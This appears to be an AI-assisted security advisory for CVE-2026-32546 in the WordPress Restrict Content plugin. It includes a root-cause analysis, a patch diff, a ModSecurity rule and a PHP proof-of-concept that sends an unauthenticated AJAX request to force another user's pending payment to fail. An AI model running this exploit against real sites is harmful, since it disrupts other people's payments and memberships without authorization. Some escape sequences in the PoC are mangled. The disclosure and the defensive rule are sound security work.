Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 30, 2026

CVE-2026-32546: Membership Plugin – Restrict Content <= 3.2.22 – Missing Authorization (restrict-content)

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 3.2.22
Patched Version 3.2.23
Disclosed March 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-32546:
The Membership Plugin – Restrict Content for WordPress, versions up to and including 3.2.22, contains a missing authorization vulnerability. The flaw resides in the Stripe payment gateway’s handling of initial payment failures, allowing unauthenticated attackers to trigger unauthorized actions.

Atomic Edge research identifies the root cause as a missing capability check and nonce verification in the `rcp_stripe_handle_initial_payment_failure()` function. The vulnerable function, located in `/restrict-content/core/includes/gateways/stripe/functions.php`, accepted a `payment_id` POST parameter without validating the user’s permission to modify that payment. The function also lacked a nonce check, making it susceptible to cross-site request forgery. The code executed from line 791, directly processing the user-supplied `payment_id`.

An attacker exploits this vulnerability by sending a crafted POST request to the WordPress admin-ajax.php endpoint. The request must set the `action` parameter to `rcp_stripe_handle_initial_payment_failure`. The attacker supplies a `payment_id` parameter targeting an existing payment record belonging to another user. The payload triggers the function to mark a pending payment as failed, potentially disrupting another user’s membership status or payment flow.

The patch, applied in version 3.2.23, introduces multiple security layers. It adds a nonce verification check using `wp_verify_nonce` against the `rcp_process_stripe_payment` action. The patch implements an authorization check by comparing the current user’s ID with the `user_id` stored in the payment object. It also validates that the payment status is `pending` before allowing the failure action. The patch adds a new `do_action` hook for additional security checks and sanitizes input with `wp_unslash`.

Successful exploitation allows an unauthenticated attacker to interfere with the payment processing of other users. An attacker can force a pending payment to fail, potentially preventing a user from activating a membership or causing administrative confusion. This could lead to denial of service for the affected user’s account activation or renewal process.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/restrict-content/core/includes/class-restrict-content.php
+++ b/restrict-content/core/includes/class-restrict-content.php
@@ -26,7 +26,7 @@
 	 * @since 3.0
 	 */
 	final class Restrict_Content_Pro {
-		const VERSION = '3.5.54';
+		const VERSION = '3.5.56';

 		/**
 		 * Stores the base slug for the extension.
--- a/restrict-content/core/includes/gateways/stripe/functions.php
+++ b/restrict-content/core/includes/gateways/stripe/functions.php
@@ -179,7 +179,7 @@
 /**
  * Update the billing card for a given membership.
  *
- * @param RCP_Membership $membership
+ * @param RCP_Membership $membership Membership object.
  *
  * @since 3.0
  * @return void
@@ -298,7 +298,7 @@

 		wp_die( $error, __( 'Error', 'rcp' ), array( 'response' => '401' ) );

-		exit;
+		return;

 	} catch (StripeErrorInvalidRequest $e) {

@@ -375,8 +375,8 @@

 	}

-	wp_redirect( add_query_arg( 'card', 'updated' ) ); exit;
-
+	wp_redirect( add_query_arg( 'card', 'updated' ) );
+	return;
 }
 add_action( 'rcp_update_membership_billing_card', 'rcp_stripe_update_membership_billing_card' );

@@ -791,11 +791,16 @@
  */
 function rcp_stripe_handle_initial_payment_failure() {

-	$payment_id = ! empty( $_POST['payment_id'] ) ? absint( $_POST['payment_id'] ) : 0;
+	// Verify nonce for CSRF protection.
+	$nonce = isset( $_POST['nonce'] ) ? sanitize_text_field( wp_unslash( $_POST['nonce'] ) ) : '';
+	if ( empty( $nonce ) || ! wp_verify_nonce( $nonce, 'rcp_process_stripe_payment' ) ) {
+		wp_send_json_error( __( 'Security verification failed.', 'rcp' ) );
+	}
+
+	$payment_id = ! empty( $_POST['payment_id'] ) ? absint( wp_unslash( $_POST['payment_id'] ) ) : 0;

 	if ( empty( $payment_id ) ) {
 		wp_send_json_error( __( 'Missing payment ID.', 'rcp' ) );
-		exit;
 	}

 	/**
@@ -805,18 +810,48 @@

 	$payment = $rcp_payments_db->get_payment( $payment_id );

-	if ( empty( $payment ) ) {
+	if ( empty( $payment ) || ! is_object( $payment ) ) {
 		wp_send_json_error( __( 'Invalid payment.', 'rcp' ) );
-		exit;
 	}

+	// Security check: Verify user ownership of the payment.
+	$current_user_id = get_current_user_id();
+	if ( empty( $current_user_id ) || absint( $payment->user_id ) !== $current_user_id ) {
+		wp_send_json_error( __( 'You do not have permission to perform this action.', 'rcp' ) );
+	}
+
+	// Only allow marking payments as failed if they are in pending status.
+	if ( 'pending' !== strtolower( $payment->status ) ) {
+		wp_send_json_error( __( 'This payment cannot be marked as failed.', 'rcp' ) );
+	}
+
+	// Verify the membership belongs to the current user.
+	if ( ! empty( $payment->membership_id ) ) {
+		$membership = rcp_get_membership( absint( $payment->membership_id ) );
+		if ( empty( $membership ) || absint( $membership->get_customer()->get_user_id() ) !== $current_user_id ) {
+			wp_send_json_error( __( 'You do not have permission to perform this action.', 'rcp' ) );
+		}
+	}
+
+	/**
+	 * Fires before processing a payment failure.
+	 *
+	 * Can be used to implement additional security checks like rate limiting.
+	 *
+	 * @since 3.5.55
+	 *
+	 * @param object $payment Payment object.
+	 * @param int    $user_id Current user ID.
+	 */
+	do_action( 'rcp_before_stripe_handle_payment_failure', $payment, $current_user_id );
+
 	$gateway = new RCP_Payment_Gateway_Stripe();

 	// Set some of the expected properties.
 	$gateway->payment       = $payment;
 	$gateway->user_id       = $payment->user_id;
 	$gateway->membership    = rcp_get_membership( absint( $payment->membership_id ) );
-	$gateway->error_message = ! empty( $_POST['message'] ) ? sanitize_text_field( $_POST['message'] ) : __( 'Unknown error', 'rcp' );
+	$gateway->error_message = ! empty( $_POST['message'] ) ? sanitize_text_field( wp_unslash( $_POST['message'] ) ) : __( 'Unknown error', 'rcp' );

 	do_action( 'rcp_registration_failed', $gateway );

@@ -830,7 +865,6 @@
 	do_action( 'rcp_stripe_signup_payment_failed', $error, $gateway );

 	wp_send_json_success();
-	exit;

 }

@@ -986,7 +1020,6 @@
 	}

 	wp_send_json_error( __( 'Error creating setup intent.', 'rcp' ) );
-	exit;

 }

@@ -1094,8 +1127,7 @@
 		wp_send_json_error( __( 'An unknown error occurred.', 'rcp' ) );
 	}

-	exit;
-
+	return;
 }
 add_action( 'wp_ajax_rcp_stripe_delete_saved_payment_method', 'rcp_stripe_delete_saved_payment_method' );

--- a/restrict-content/core/includes/scripts.php
+++ b/restrict-content/core/includes/scripts.php
@@ -299,6 +299,7 @@
 			'error_occurred'     => esc_html__( 'An unexpected error has occurred. Please try again or contact support if the issue persists.', 'rcp' ),
 			'enter_card_details' => esc_html__( 'Please enter your card details.', 'rcp' ),
 			'invalid_cardholder' => esc_html__( 'The card holder name you have entered is invalid', 'rcp' ),
+			'stripe_payment_nonce' => wp_create_nonce( 'rcp_process_stripe_payment' ),
 		)
 	);

--- a/restrict-content/legacy/restrictcontent.php
+++ b/restrict-content/legacy/restrictcontent.php
@@ -21,7 +21,7 @@
 }

 if ( ! defined( 'RC_PLUGIN_VERSION' ) ) {
-	define( 'RC_PLUGIN_VERSION', '3.2.22' );
+	define( 'RC_PLUGIN_VERSION', '3.2.23' );
 }

 if ( ! defined( 'RC_PLUGIN_DIR' ) ) {
--- a/restrict-content/restrictcontent.php
+++ b/restrict-content/restrictcontent.php
@@ -3,7 +3,7 @@
  * Plugin Name: Restrict Content
  * Plugin URI: https://restrictcontentpro.com
  * Description: Set up a complete membership system for your WordPress site and deliver premium content to your members. Unlimited membership packages, membership management, discount codes, registration / login forms, and more.
- * Version: 3.2.22
+ * Version: 3.2.23
  * Author: StellarWP
  * Author URI: https://stellarwp.com/
  * Requires at least: 6.0
@@ -18,7 +18,7 @@
 define('RCP_PLUGIN_FILE', __FILE__);
 define('RCP_ROOT', plugin_dir_path(__FILE__));
 define('RCP_WEB_ROOT', plugin_dir_url(__FILE__));
-define('RCF_VERSION', '3.2.22');
+define('RCF_VERSION', '3.2.23');

 // Load Strauss autoload.
 require_once plugin_dir_path( __FILE__ ) . 'vendor/strauss/autoload.php';

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-32546
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:100032546,phase:2,deny,status:403,chain,msg:'CVE-2026-32546 via Restrict Content Plugin AJAX - Missing Authorization',severity:'MEDIUM',tag:'CVE-2026-32546',tag:'WordPress',tag:'Plugin:Restrict-Content'"
  SecRule ARGS_POST:action "@streq rcp_stripe_handle_initial_payment_failure" "chain"
    SecRule &ARGS_POST:nonce "@eq 0"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-32546 - Membership Plugin – Restrict Content <= 3.2.22 - Missing Authorization

<?php

$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';

// Step 1: Identify a valid payment ID.
// This could be obtained via information disclosure, enumeration, or guesswork.
// For demonstration, we assume payment ID 123 exists and is in 'pending' status.
$payment_id = 123;

// Step 2: Craft the malicious AJAX request.
// The vulnerable endpoint does not require authentication or a nonce.
$post_data = array(
    'action' => 'rcp_stripe_handle_initial_payment_failure',
    'payment_id' => $payment_id,
    'message' => 'Atomic Edge test: Payment failed via unauthorized access.'
);

// Step 3: Send the request using cURL.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 4: Analyze the response.
echo "HTTP Status: $http_coden";
echo "Response: $responsen";
// A JSON success response indicates the payment was marked as failed.
if (strpos($response, 'success') !== false) {
    echo "[+] Exploit successful. Payment ID $payment_id may have been marked as failed.n";
} else {
    echo "[-] Exploit may have failed. Check the payment ID and site status.n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School